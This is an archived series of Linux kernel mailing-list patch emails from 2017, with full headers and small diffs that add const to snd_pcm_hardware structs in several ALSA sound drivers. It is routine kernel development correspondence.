X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=9zdAxaCchBaRuHPAxZTLTDeD412X5SAPJzxZ5DqfcTU=;
        b=T8Y+Lq/nZ8Ww2Gwe8b1knLm9bZK519J938VwUjBCpt3sOwZ4RXEqJjjf8sSwPezng2
         zAL0CZep7EVC77nG6McbAlwdlWAMpbQSjXLPH7DlmyiNCIIL1PUsxUFB7cr9AmQW6sd7
         bDbQUurh4G45AUFXAkOZ9UAL3JQY7cVJj4l8ZCDDz/v++fkBG1VePVb49U0ua/WjWsab
         HxYUmDGo8mDzgAB1MG5Fu09YaXOe9uWhqXp1bx0jQGEMPvBKAYIJlbvb9SzYvSk9G/Jt
         u4KsE6J28L4zcdVVaUcAmNhopNvjVfYb3iOnJ4oDKssv3oPi9s4cMfekQ7dKKwlHh/Ok
         aaPg==
X-Gm-Message-State: AHYfb5jq/NXSlNmubDnrKMUB3adqKr+QYjpq1Mjc6snLPMFIJORCJF3v
        bUBuZsmdmn4GAg==
X-Received: by 10.98.71.88 with SMTP id u85mr16773238pfa.185.1502551965763;
        Sat, 12 Aug 2017 08:32:45 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id v126sm6331101pfv.144.2017.08.12.08.32.40
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:45 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:37 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547312 gmane.linux.ports.parisc:27655 gmane.linux.alsa.devel:170541
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547312>

Make this const as it is only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/lx6464es/lx6464es.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pci/lx6464es/lx6464es.c b/sound/pci/lx6464es/lx6464es.c
index f9c3e86..9655b08 100644
--- a/sound/pci/lx6464es/lx6464es.c
+++ b/sound/pci/lx6464es/lx6464es.c
@@ -77,7 +77,7 @@
 
 
 /* alsa callbacks */
-static struct snd_pcm_hardware lx_caps = {
+static const struct snd_pcm_hardware lx_caps = {
 	.info             = (SNDRV_PCM_INFO_MMAP |
 			     SNDRV_PCM_INFO_INTERLEAVED |
 			     SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 09/16] ALSA: mixart: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:21 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-10-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551985 13651 195.159.176.226 (12 Aug 2017 15:33:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:05 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:01 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPG-0002W4-Rk
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:32:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752449AbdHLPc6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:32:58 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:35341 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752374AbdHLPcy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:32:54 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id l64so5363334pge.2;
        Sat, 12 Aug 2017 08:32:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=dpj7NWQR4AmWWn1FT4g0voXfBch9cz9oC7+hDJZRD3w=;
        b=X+yNyxoUBRD987CXqTm4MGnOSdYAcoSt/zNR7qckwcnTTGTp477WYeBnw73rVHnBBI
         zXU7WEIkq8esUwdFV6bClsj17N6fwoCIdJGzEylub4GEd6FAouAvp7iTxA9hWfFNTVBs
         fhqWU7sjs8skJt0QYgQVXeUBXIImYlSQ0xBQXa+N88U2pqqwXxcf1BElt0xbuhFPxyih
         tnGIMbec1Dc2X/qsQ6HdmEb3uvgZn5x2pVy4Xw+UL1ph+yXir1mg5IS7jbpqr2k3rF46
         OTLZcuFbSC+xqC59uzUNhHs8wXB2FA8WLAcpeZnyLOjzBhzod0Gy5U4DArC5VAgsg/bK
         Ue6w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=dpj7NWQR4AmWWn1FT4g0voXfBch9cz9oC7+hDJZRD3w=;
        b=mYEhk/7AKF3DdUrrHca6sF8zXyX2A6J7BOKhssKFfuAqiiyDDIpbwoK3WGYlZvtFfp
         D5dWLAIv6HF4n8iNVNv0zTDWHr7inRAdBalIczj3ndzdruNOVGRs8/WwlWIaV0ltCoE+
         vlWzWLCIkv8Y2bGoinxssbpR2xn9LWe1WchyUQN9HHh+DE29wXD+yXhAaXCokzlVvPA7
         rCPcxN/YF4yzRvaY5yEQ4wNPXg9nk+QDx6etpDXdslvhbRVhDGjtbA9RD/ONM3M88otR
         mpqfiGoSZkdtG2QVsupDUKmEVBv+kclFeuZE5UbUhvbcW0eNYs+K/Z1Sg0lVNydd2ou3
         hL4g==
X-Gm-Message-State: AHYfb5hcqPZH7bTdnPySrRn2f18poat3LhkLXeoEROHRYNGIyUr0v7HT
        LxPFGGC2XfvF1A==
X-Received: by 10.84.232.197 with SMTP id x5mr21552545plm.329.1502551973932;
        Sat, 12 Aug 2017 08:32:53 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id m125sm6247051pfm.157.2017.08.12.08.32.48
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:32:53 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:45 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547314 gmane.linux.ports.parisc:27656 gmane.linux.alsa.devel:170543
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547314>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/mixart/mixart.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
index 6d7fbf3..aca3b34 100644
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -675,7 +675,7 @@ static int snd_mixart_hw_free(struct snd_pcm_substream *subs)
 /*
  *  TODO CONFIGURATION SPACE for all pcms, mono pcm must update channels_max
  */
-static struct snd_pcm_hardware snd_mixart_analog_caps =
+static const struct snd_pcm_hardware snd_mixart_analog_caps =
 {
 	.info             = ( SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 			      SNDRV_PCM_INFO_MMAP_VALID |
@@ -696,7 +696,7 @@ static int snd_mixart_hw_free(struct snd_pcm_substream *subs)
 	.periods_max      = (32*1024/256),
 };
 
-static struct snd_pcm_hardware snd_mixart_digital_caps =
+static const struct snd_pcm_hardware snd_mixart_digital_caps =
 {
 	.info             = ( SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 			      SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 10/16] ALSA: ctxfi: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:22 +0530
Lines: 43
Approved: news@gmane.org
Message-ID: <1502551888-30325-11-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551989 14441 195.159.176.226 (12 Aug 2017 15:33:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:09 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:04 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPN-0003Fk-Pe
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752487AbdHLPdG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:06 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:33059 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752374AbdHLPdD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:03 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id u185so5372606pgb.0;
        Sat, 12 Aug 2017 08:33:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=nRNzkeQoAR3DTE9TZ1D52AlKq4GTJ0syRarnjG3K6yQ=;
        b=sDWyS68B2q1xjKG5W9b6ZfnMzluhiivi84KFG/Bcw2tN7ynINxDmnG2xOmMivlibt0
         2f8sGGUi2y5Tw5V0Sp6ktDwd0FFtNuvOHCfG4Tzys4j+V98uvY7UCFLIK3E62c9m3W4L
         SQ7m0PzMKIE2gxFSZkpqil8DclltbRHk//hr8zINoXOF1n9dNn9H6jYrbHc1gNU8FzBI
         wcW0Ux0ILwK278hc2xk2X3hesHF7WEKqZT7eSz69c82IhJ5XK2PpP+LYMrjIv0FnTMG4
         6JbbZDyzZeM1kugSrm01ZnpoTSPueIuSuXZk/Xlcee0/2qLmenQ1pvnqIVq+Aa6m940+
         tbrA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=nRNzkeQoAR3DTE9TZ1D52AlKq4GTJ0syRarnjG3K6yQ=;
        b=QKjANAuGjiT2jUIIxkIVzEt07bw3FOBetotw/0vWYo2YA4dUE4RT2e3qWvZB2SEQEQ
         aqDMFbl0pwp/xLYo3NEDgHnjbm2C1VuIVC4b4825OTeUmuFgYS9b9Epo9lDYzA8ZOaGi
         p75PtDkeKw5i90VkpLYMseaUYCCE2V5olr6MUDZy2i6VC40znMfWsCvyQgf6GjNFWJES
         274OBTnqef2Mjs6giAQK33j5/954dhX/AXQlq7J+Kitl43wVnkCoSXiOc5vAiln3JoxF
         dI1+6HFPCl19P8qvOMLkwDJfQEkOlWfj8GVWiAF1/sfIrxlE+3XKdgBjPEzWfM7wIUxQ
         Og7Q==
X-Gm-Message-State: AHYfb5jEeD9ZUmLOy3+oROI9/l5OuzGr3YhRioUdw4g15WF44KUhZJd1
        0DzCNBvU3iBoag==
X-Received: by 10.84.210.171 with SMTP id a40mr21455688pli.443.1502551982332;
        Sat, 12 Aug 2017 08:33:02 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id o4sm6247739pga.47.2017.08.12.08.32.57
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:01 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:02:54 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547315 gmane.linux.ports.parisc:27657 gmane.linux.alsa.devel:170544
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547315>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/ctxfi/ctpcm.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/sound/pci/ctxfi/ctpcm.c b/sound/pci/ctxfi/ctpcm.c
index 9749780..358f520 100644
--- a/sound/pci/ctxfi/ctpcm.c
+++ b/sound/pci/ctxfi/ctpcm.c
@@ -21,7 +21,7 @@
 #include <sound/pcm.h>
 
 /* Hardware descriptions for playback */
-static struct snd_pcm_hardware ct_pcm_playback_hw = {
+static const struct snd_pcm_hardware ct_pcm_playback_hw = {
 	.info			= (SNDRV_PCM_INFO_MMAP |
 				   SNDRV_PCM_INFO_INTERLEAVED |
 				   SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -46,7 +46,7 @@
 	.fifo_size		= 0,
 };
 
-static struct snd_pcm_hardware ct_spdif_passthru_playback_hw = {
+static const struct snd_pcm_hardware ct_spdif_passthru_playback_hw = {
 	.info			= (SNDRV_PCM_INFO_MMAP |
 				   SNDRV_PCM_INFO_INTERLEAVED |
 				   SNDRV_PCM_INFO_BLOCK_TRANSFER |
@@ -69,7 +69,7 @@
 };
 
 /* Hardware descriptions for capture */
-static struct snd_pcm_hardware ct_pcm_capture_hw = {
+static const struct snd_pcm_hardware ct_pcm_capture_hw = {
 	.info			= (SNDRV_PCM_INFO_MMAP |
 				   SNDRV_PCM_INFO_INTERLEAVED |
 				   SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 11/16] ALSA: pcxhr: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:23 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502551888-30325-12-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502551999 16529 195.159.176.226 (12 Aug 2017 15:33:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:19 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:13 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPV-0003jl-KF
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752517AbdHLPdO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:14 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:35931 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752374AbdHLPdM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:12 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id t83so6014964pfj.3;
        Sat, 12 Aug 2017 08:33:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=MEBGjzrFvQ6YXTYXxT/Ax6id77Qg7dnUJ/mDOkq/VN0=;
        b=IsEgnz0tZHGnmg1mYP8s7q5t/UROmKWHaL1aHNiDfyMcTjmuOqN/JtvkpPD0QlrcH1
         T/60JsLore5dwi1v1OuIOKPXQDJXDlxHhcfl7zTgHFcU2/Gzotgw37WWzTSEoAJ4AGoE
         8wOXC3KjD5TElav0nDArTjlDeU+5L6+HxibaMHZrq3xq2FvMYMoALPVvoeIciVD6Q1pl
         RNywgtNxUoB93zlE89f+mKBP+F6W4/qs/bBdMWpG1Cqz1iij7RIgqwEWJmjWXL8xLXNv
         Xt2Xfa8Lx29Tih8n3f94Z56pf04/5U2nS5KGRYTgtb2TuxIj9rdEDWDUUWaZarWa62Zt
         soWg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=MEBGjzrFvQ6YXTYXxT/Ax6id77Qg7dnUJ/mDOkq/VN0=;
        b=Wg8YiJ3OQdygiE8yCKqJiQm2RSY6NkcG3WoihSeOd0O9y0QC2Qkg0UWPBVY+Kx/D0m
         +u8/8rFr98cZT+uxK4PzZ2ytEug2AMgwty9ONsDtqALyQxwtNsEN9oRsIVvsfHxNMb/M
         iNYz0pT3K0bfRWYuntowKMjMEQySO2gs/Hz3Z2JG41EkQGaSAqtlpxJOgbYzVzv0ZKP3
         aHfhr0JOpFOqE7vXnHXzjf1DAH8a1BEFUg2fSY5Q69I0eRjMQsvG4edSVSYiWQfD0c+n
         IJ9k6c5HvGeWohmMFYvbTQ20/4cD+6bjAc8YAVXnCOfesYF0dWlINItgQq8hJZOrlziO
         Dfsw==
X-Gm-Message-State: AHYfb5jslFYPmM07gW75rVLS/v0V9IZ6GGWga1k2jHmnaYnZMTyy7oI9
        V/K+WGDFGtU9Cw==
X-Received: by 10.98.157.83 with SMTP id i80mr19783141pfd.266.1502551991327;
        Sat, 12 Aug 2017 08:33:11 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id x4sm6377323pfb.79.2017.08.12.08.33.05
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:10 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:02 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547316 gmane.linux.ports.parisc:27658 gmane.linux.alsa.devel:170545
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547316>

Make this const as it is only used during a copy operation.
Done using Coccinelle

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/pcxhr/pcxhr.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/pci/pcxhr/pcxhr.c b/sound/pci/pcxhr/pcxhr.c
index fa919f5..e6f9aa6 100644
--- a/sound/pci/pcxhr/pcxhr.c
+++ b/sound/pci/pcxhr/pcxhr.c
@@ -986,7 +986,7 @@ static int pcxhr_hw_free(struct snd_pcm_substream *subs)
 /*
  *  CONFIGURATION SPACE for all pcms, mono pcm must update channels_max
  */
-static struct snd_pcm_hardware pcxhr_caps =
+static const struct snd_pcm_hardware pcxhr_caps =
 {
 	.info             = (SNDRV_PCM_INFO_MMAP |
 			     SNDRV_PCM_INFO_INTERLEAVED |
-- 
1.9.1



From - Thu Nov 08 21:40:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.alsa.devel
Subject: [PATCH 12/16] ALSA: riptide: make snd_pcm_hardware const
Date: Sat, 12 Aug 2017 21:01:24 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502551888-30325-13-git-send-email-bhumirks@gmail.com>
References: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502552004 17971 195.159.176.226 (12 Aug 2017 15:33:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 12 Aug 2017 15:33:24 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, T-Bone@parisc-linux.org, perex@perex.cz,
        tiwai@suse.com, clemens@ladisch.de, jayakumar.alsa@gmail.com,
        linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 12 17:33:20 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dgYPd-0004Dq-Q0
	for glk-linux-kernel-3@m.gmane.org; Sat, 12 Aug 2017 17:33:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752532AbdHLPdW (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 12 Aug 2017 11:33:22 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:37013 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751494AbdHLPdU (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 12 Aug 2017 11:33:20 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id p13so6003984pfd.4;
        Sat, 12 Aug 2017 08:33:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hGN4pidZ+/AAhsaFSE9upWekZI8h8DPvg8jazPZi7eM=;
        b=s11qSDRo0Xz8szibU5s8yOjPgy8cLSUCiiWzCvOUnMFgYjcmhiqrPFFk8aW7/CTZcz
         CK2bAOFEu/+TREqwr7AnWvbxb1gJgW5S9nBLOKD37IgwTCno1uGM/gu4Tcw05YaPAVKu
         5O8ZhdupMT/nMJVGaouaUQTumzp89QxGvTbK8BhTGGivzeFJMZ09MMyZZcyLvsghk/tP
         3wJqY8T41sFrCFvwUbuq9wpklCwHjrt+IHNgBE0ntMxRbL8hajftI4bG5v6V1O/Y6/ja
         rDPEgkm0enB0s7/IYTKWFg+yJC/8tqfrH49ConWg+AmyBP8wUTd933I251oIrSOodboT
         Fwwg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=hGN4pidZ+/AAhsaFSE9upWekZI8h8DPvg8jazPZi7eM=;
        b=g0qPEZZj2zl7/WNlicwe4PF9/1hFm0DAzlrWz8py88h5BblCTn1h1/KxpqusKcK0hJ
         nDl2kZXFkh0ab4NYML1LHfzheqxboDCb4bFLUIU4TeuJxWyaW85uGjh038D1rUmxT3QM
         huTP+lMFNTe4uB5kZTZyVvzWzUOwW1YiRcyNlDFBGpedu/crPS5voQC36lLW9MKIXsIa
         c1r829mrw5WPtKRXjaSs2+s52mWyd+oyVvEEMXYFp0rMp0RK+1pZbpp/G2PFath+PPz5
         y5xtckA3j0k1xdI2df2JTmka5sr+RA7scrqRy/k5a/wO8GK3iF0n7lmKQ3UULN7vhOh4
         APEg==
X-Gm-Message-State: AHYfb5ikCKIHdzojMvpJ4Ah2GrueIbTkm3iseBkYbXXc4uoxdA6Xrr1t
        Z+fHt+1ctnisfg==
X-Received: by 10.84.128.9 with SMTP id 9mr21027910pla.98.1502551999604;
        Sat, 12 Aug 2017 08:33:19 -0700 (PDT)
Original-Received: from gmail.com ([117.196.108.245])
        by smtp.gmail.com with ESMTPSA id c76sm6329165pfc.100.2017.08.12.08.33.14
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Sat, 12 Aug 2017 08:33:19 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Sat, 12 Aug 2017 21:03:11 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502551888-30325-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2547317 gmane.linux.ports.parisc:27659 gmane.linux.alsa.devel:170546
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2547317>

Make these const as they are only used during a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/pci/riptide/riptide.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/pci/riptide/riptide.c b/sound/pci/riptide/riptide.c
index f067c76..44f3b48 100644
--- a/sound/pci/riptide/riptide.c
+++ b/sound/pci/riptide/riptide.c
@@ -1315,7 +1315,7 @@ static int riptide_reset(struct cmdif *cif, struct snd_riptide *chip)
 	return 0;
 }
 
-static struct snd_pcm_hardware snd_riptide_playback = {
+static const struct snd_pcm_hardware snd_riptide_playback = {
 	.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_BLOCK_TRANSFER |
 		 SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_MMAP_VALID),
@@ -1334,7 +1334,7 @@ static int riptide_reset(struct cmdif *cif, struct snd_riptide *chip)
 	.periods_max = 64,
 	.fifo_size = 0,
 };
-static struct snd_pcm_hardware snd_riptide_capture = {
+static const struct snd_pcm_hardware snd_riptide_capture = {
 	.info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
 		 SNDRV_PCM_INFO_BLOCK_TRANSFER |
 		 SNDRV_PCM_INFO_PAUSE | SNDRV_PCM_INFO_MMAP_VALID),
-- 
1.9.1



From - Thu Nov 08 21:40:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
